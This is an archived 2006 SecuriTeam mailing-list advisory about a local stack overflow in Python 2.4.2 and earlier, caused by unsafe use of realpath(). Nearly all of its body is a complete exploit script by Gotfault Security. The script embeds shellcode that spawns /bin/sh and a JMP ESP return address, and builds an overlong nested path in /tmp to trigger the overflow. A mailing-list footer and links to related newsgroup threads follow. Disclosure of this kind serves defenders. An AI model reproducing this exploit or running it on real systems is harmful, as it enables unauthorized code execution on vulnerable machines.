[EXPL] Python realpath Local Stack Overflow (Exploit)
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 19 Mar 2006 15:51:49 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Python realpath Local Stack Overflow (Exploit)
------------------------------------------------------------------------
SUMMARY
" <http://python.org/> Python is a dynamic object oriented programming
language ..."
The Python interpreter is vulnerable to a stack overflow due to unsafe use
of the realpath() function.
DETAILS
Vulnerable Systems:
* Python version 2.4.2 and prior.
Exploit:
#!/usr/bin/python
# gexp-python.py
#
# Python <= 2.4.2 realpath() Local Stack Overflow
# -----------------------------------------------
# Against VA Space Randomization.
#
# Copyright (c) 2006 Gotfault Security
#
# Bug found and developed by: dx/vaxen (Gotfault Security),
# posidron (Tripbit Research Group).
# Environment:
#
# Kernel Version : 2.6.12.5-vs2.0
# GCC Version : 4.0.3
# Libc Version : 2.3.5
#
# Special greets goes to : posidron from tripbit.net
# RFDSLabs, barros, izik,
# Gotfault Security Community.
#
# Original Reference:
# http://gotfault.net/research/exploit/gexp-python.py
import os
# JMP *%ESP @ linux-gate.so.1
jmp = "\x5f\xe7\xff\xff"
shell = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e"
shell += "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3"
shell += "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
shell += "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
os.chdir("/tmp")
base = os.getcwd()
dir = os.path.join("A"*250, "A"*250, "A"*250, "A"*250, "A"*42, jmp+shell)
os.makedirs(dir)
os.chdir(dir)
os.system('> vuln.py; python vuln.py')
os.remove("vuln.py")
os.chdir(base)
os.removedirs(dir)
ADDITIONAL INFORMATION
The original article can be found at:
<http://www.gotfault.net/research/exploit/gexp-python.py>
http://www.gotfault.net/research/exploit/gexp-python.py
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [UNIX] capi4hylafax Insecure Files Manipulation
- Next by Date: [NT] Microsoft Commerce Server 2002 Authentication Bypass
- Previous by thread: [UNIX] capi4hylafax Insecure Files Manipulation
- Next by thread: [NT] Microsoft Commerce Server 2002 Authentication Bypass
- Index(es):
Relevant Pages
- Re: New to Python: Features
... Is that a limitation of the language (the security holes I mean)? ...
>done with Python. ... >You can, of course, design by contract. ...
(comp.lang.python) - Re: New to Python: Features
... > Now your encouraging me not to use Python? ... group development (security,
consistent naming scheme, ... give about a 5% speed boost, so the answer to your original
... object which interacts with string interpolation. ... (comp.lang.python) - Re: Need a compelling argument to use Django instead of Rails
... Ruby can also lock access to attributes. ... What about learning Python
instead of repeating arguments from clueless ... This is not "security", this is data-hiding.
... this is language-inforced access restriction. ... (comp.lang.python) - [NT] Serious Privacy Leak in Python for Windows
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... There is a privacy leak
problem in many Python implementations for Windows ... the following Python code
on a Web page will run ... (Securiteam) - Re: Who should security issues be reported to?
... >> Python offers no security. ... SF doesn't seem to know about
any such bug any more. ... just that you wanted better documentation. ...
(comp.lang.python)